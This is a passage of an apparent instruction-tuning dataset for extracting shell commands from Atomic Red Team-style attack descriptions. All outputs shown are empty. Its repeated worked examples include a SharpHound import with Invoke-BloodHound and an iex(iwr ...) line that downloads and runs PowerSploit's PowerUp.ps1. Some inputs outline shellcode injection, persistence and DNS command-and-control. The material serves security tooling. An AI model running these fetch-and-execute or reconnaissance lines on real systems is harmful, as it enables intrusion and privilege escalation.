where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test simulates an infected host returning data to a command and control server using long domain names.\nThe simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold.\n Upon execution, DNS information about the domain will be displayed for each callout.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, \"T1547.001 Hello, World VBS!\" will be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Schedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see \"T1133\\src\\list of vpn extension.txt\" to view complete list\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Changes a file or folder's permissions recursively using chmod and a specified numeric mode.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Uses the ping command to introduce a delay before executing a malicious payload.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Modify the registry of the currently logged in user using reg.exe via cmd console to remove security and maintenance icon Group Policy. \nTake note that some Group Policy changes might require a restart to take effect.\nSee how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Executes shellcode in a remote process.\n\nSteps taken with this technique\n1. Get a handle to the target process\n2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write\n3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process\n4. Change the memory page permissions to Execute/Read with VirtualProtectEx\n5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread\n6. Close the handle to the remote process\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)\n- References: \n - https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 